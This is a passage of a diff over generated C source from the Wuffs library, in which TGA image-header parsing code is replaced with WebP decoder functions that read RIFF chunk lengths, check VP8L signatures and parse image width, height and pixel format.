wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint16_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint16_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); + break; + } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; + } + } +- self->private_impl.f_header_color_map_length = t_4; ++ self->private_impl.f_riff_chunk_length = t_1; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- self->private_impl.f_header_color_map_entry_size = t_5; ++ if ((self->private_impl.f_riff_chunk_length & 1u) != 0u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } +- if (self->private_impl.f_header_color_map_type != 0u) { +- if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length > 256u)) { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); +- goto exit; +- } else if ((self->private_impl.f_header_color_map_entry_size != 15u) && +- (self->private_impl.f_header_color_map_entry_size != 16u) && +- (self->private_impl.f_header_color_map_entry_size != 24u) && +- (self->private_impl.f_header_color_map_entry_size != 32u)) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); +- goto exit; ++ while (true) { ++ { ++ const bool o_0_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_0_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_riff_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; ++ } ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_webp__decoder__do_decode_image_config_limited(self, a_src); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_riff_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_0_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_0_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } + } +- } else { +- if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length != 0u) || (self->private_impl.f_header_color_map_entry_size != 0u)) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if ((v_status.repr == wuffs_base__suspension__short_read) && (self->private_impl.f_riff_chunk_length == 0u)) { ++ status = wuffs_base__make_status(wuffs_webp__error__short_chunk); + goto exit; + } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); + } +- self->private_data.s_do_decode_image_config[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ false); + } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; ++ self->private_impl.f_call_sequence = 32u; ++ ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.do_decode_image_config_limited ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_c32 = 0; ++ uint64_t v_r_mark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config_limited; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- uint32_t t_6; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ self->private_data.s_do_decode_image_config_limited.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; +- if (num_bits_6 == 8) { +- t_6 = ((uint32_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch)); + break; + } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)) << 56; ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; + } + } +- self->private_impl.f_width = t_6; ++ v_c32 = t_0; ++ } ++ if (v_c32 != 1346520407u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- uint32_t t_7; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_7 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ self->private_data.s_do_decode_image_config_limited.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); + while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); + *scratch <<= 8; + *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; +- if (num_bits_7 == 8) { +- t_7 = ((uint32_t)(*scratch)); ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); + break; + } +- num_bits_7 += 8u; +- *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; + } + } +- self->private_impl.f_height = t_7; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_8 = *iop_a_src++; +- self->private_impl.f_header_pixel_depth = t_8; ++ v_c32 = t_1; + } +- if ((self->private_impl.f_header_pixel_depth != 1u) && +- (self->private_impl.f_header_pixel_depth != 8u) && +- (self->private_impl.f_header_pixel_depth != 15u) && +- (self->private_impl.f_header_pixel_depth != 16u) && +- (self->private_impl.f_header_pixel_depth != 24u) && +- (self->private_impl.f_header_pixel_depth != 32u)) { +- status = wuffs_base__make_status(wuffs_tga__error__bad_header); ++ if (v_c32 == 540561494u) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_webp_file); + goto exit; +- } +- if ((self->private_impl.f_header_image_type | 8u) == 9u) { +- self->private_impl.f_scratch_bytes_per_pixel = 1u; +- self->private_impl.f_src_bytes_per_pixel = 1u; +- self->private_impl.f_src_pixfmt = 2164523016u; +- self->private_impl.f_opaque = ((self->private_impl.f_header_color_map_entry_size == 15u) || (self->private_impl.f_header_color_map_entry_size == 24u)); +- } else if ((self->private_impl.f_header_image_type | 8u) == 10u) { +- if ((self->private_impl.f_header_pixel_depth == 15u) || (self->private_impl.f_header_pixel_depth == 16u)) { +- self->private_impl.f_scratch_bytes_per_pixel = 4u; +- self->private_impl.f_src_bytes_per_pixel = 0u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else if (self->private_impl.f_header_pixel_depth == 24u) { +- self->private_impl.f_scratch_bytes_per_pixel = 3u; +- self->private_impl.f_src_bytes_per_pixel = 3u; +- self->private_impl.f_src_pixfmt = 2147485832u; +- self->private_impl.f_opaque = true; +- } else if (self->private_impl.f_header_pixel_depth == 32u) { +- self->private_impl.f_scratch_bytes_per_pixel = 4u; +- self->private_impl.f_src_bytes_per_pixel = 4u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- } else { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); +- goto exit; ++ } else if (v_c32 == 1278758998u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_2; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config_limited.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited.scratch; ++ uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; ++ if (num_bits_2 == 24) { ++ t_2 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_2 += 8u; ++ *scratch |= ((uint64_t)(num_bits_2)) << 56; ++ } ++ } ++ self->private_impl.f_sub_chunk_length = t_2; + } +- } else { +- if (self->private_impl.f_header_pixel_depth == 8u) { +- self->private_impl.f_scratch_bytes_per_pixel = 1u; +- self->private_impl.f_src_bytes_per_pixel = 1u; +- self->private_impl.f_src_pixfmt = 536870920u; +- self->private_impl.f_opaque = true; +- } else { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); ++ if (self->private_impl.f_sub_chunk_length < 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); + goto exit; + } +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_9 = *iop_a_src++; +- self->private_impl.f_header_image_descriptor = t_9; +- } +- if ((self->private_impl.f_header_image_descriptor & 16u) != 0u) { +- status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); +- goto exit; +- } +- self->private_data.s_do_decode_image_config[0].scratch = ((uint32_t)(self->private_impl.f_header_id_length)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- if (self->private_data.s_do_decode_image_config[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_image_config[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_image_config[0].scratch; +- if (self->private_impl.f_header_color_map_type != 0u) { +- while (v_i < ((uint32_t)(self->private_impl.f_header_color_map_length))) { +- if (self->private_impl.f_header_color_map_entry_size == 24u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); +- uint32_t t_10; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { +- t_10 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); +- iop_a_src += 3; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; +- if (num_bits_10 == 16) { +- t_10 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_10 += 8u; +- *scratch |= ((uint64_t)(num_bits_10)) << 56; +- } +- } +- v_c = t_10; ++ self->private_impl.f_sub_chunk_has_padding = ((self->private_impl.f_sub_chunk_length & 1u) != 0u); ++ while (true) { ++ { ++ const bool o_0_closed_a_src = a_src->meta.closed; ++ const uint8_t* o_0_io2_a_src = io2_a_src; ++ wuffs_private_impl__io_reader__limit(&io2_a_src, iop_a_src, ++ ((uint64_t)(self->private_impl.f_sub_chunk_length))); ++ if (a_src) { ++ size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); ++ a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); ++ a_src->meta.wi = n; + } +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c >> 0u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c >> 8u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c >> 16u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; +- } else if (self->private_impl.f_header_color_map_entry_size == 32u) { ++ v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); +- uint32_t t_11; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; +- if (num_bits_11 == 24) { +- t_11 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_11 += 8u; +- *scratch |= ((uint64_t)(num_bits_11)) << 56; +- } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_c = t_11; +- } +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c >> 0u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c >> 8u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c >> 16u))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = ((uint8_t)((v_c >> 24u))); +- } else { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); +- uint32_t t_12; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_12 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_decode_image_config[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; +- uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; +- if (num_bits_12 == 8) { +- t_12 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_12 += 8u; +- *scratch |= ((uint64_t)(num_bits_12)) << 56; +- } ++ wuffs_base__status t_3 = wuffs_webp__decoder__do_decode_image_config_limited_vp8l(self, a_src); ++ v_status = t_3; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; + } +- v_c = t_12; + } +- v_c5 = (31u & (v_c >> 0u)); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 5u)); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- v_c5 = (31u & (v_c >> 10u)); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); +- self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; ++ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_sub_chunk_length, ((uint32_t)(wuffs_private_impl__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); ++ io2_a_src = o_0_io2_a_src; ++ if (a_src) { ++ a_src->meta.closed = o_0_closed_a_src; ++ a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); ++ } ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if ( ! wuffs_base__status__is_suspension(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } else if ((v_status.repr == wuffs_base__suspension__short_read) && (self->private_impl.f_sub_chunk_length == 0u)) { ++ status = wuffs_base__make_status(wuffs_webp__error__short_chunk); ++ goto exit; + } +- v_i += 1u; ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); + } +- while (v_i < 256u) { +- self->private_data.f_src_palette[((v_i * 4u) + 0u)] = 0u; +- self->private_data.f_src_palette[((v_i * 4u) + 1u)] = 0u; +- self->private_data.f_src_palette[((v_i * 4u) + 2u)] = 0u; +- self->private_data.f_src_palette[((v_i * 4u) + 3u)] = 255u; +- v_i += 1u; ++ } else if (v_c32 == 1480085590u) { ++ status = wuffs_base__make_status(wuffs_webp__error__unsupported_webp_file); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; ++ } ++ ++ ok: ++ self->private_impl.p_do_decode_image_config_limited = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config_limited = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++// -------- func webp.decoder.do_decode_image_config_limited_vp8l ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_webp__decoder__do_decode_image_config_limited_vp8l( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_c32 = 0; ++ uint32_t v_transform_size = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config_limited_vp8l; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint32_t t_0 = *iop_a_src++; ++ v_c32 = t_0; + } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- self->private_impl.f_src_pixfmt, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- self->private_impl.f_opaque); ++ if (v_c32 != 47u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; + } +- self->private_impl.f_call_sequence = 32u; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config_limited_vp8l.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config_limited_vp8l.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_c32 = t_1; ++ } ++ self->private_impl.f_width = ((v_c32 & 16383u) + 1u); ++ v_c32 >>= 14u; ++ self->private_impl.f_height = ((v_c32 & 16383u) + 1u); ++ v_c32 >>= 14u; ++ self->private_impl.f_pixfmt = 2415954056u; ++ if ((v_c32 & 1u) != 0u) { ++ self->private_impl.f_pixfmt = 2164295816u; ++ } ++ v_c32 >>= 1u; ++ if (v_c32 != 0u) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_header); ++ goto exit; ++ } ++ v_transform_size = (4u * ((self->private_impl.f_width + 3u) >> 2u) * ((self->private_impl.f_height + 3u) >> 2u)); ++ self->private_impl.f_workbuf_offset_for_transform[0u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (0u * v_transform_size)); ++ self->private_impl.f_workbuf_offset_for_transform[1u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (1u * v_transform_size)); ++ self->private_impl.f_workbuf_offset_for_transform[2u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (2u * v_transform_size)); ++ self->private_impl.f_workbuf_offset_for_transform[3u] = ((4u * self->private_impl.f_width * self->private_impl.f_height) + (3u * v_transform_size)); + + goto ok; + ok: +- self->private_impl.p_do_decode_image_config[0] = 0; ++ self->private_impl.p_do_decode_image_config_limited_vp8l = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_i = v_i; ++ self->private_impl.p_do_decode_image_config_limited_vp8l = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -59702,12 +74199,12 @@ wuffs_tga__decoder__do_decode_image_config( + return status; + } + +-// -------- func tga.decoder.decode_frame_config ++// -------- func webp.decoder.decode_frame_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_tga__decoder__decode_frame_config( +- wuffs_tga__decoder* self, ++wuffs_webp__decoder__decode_frame_config( ++ wuffs_webp__decoder* self, + wuffs_base__frame_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { +@@ -59733,17 +74230,17 @@ wuffs_tga__decoder__decode_frame_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + 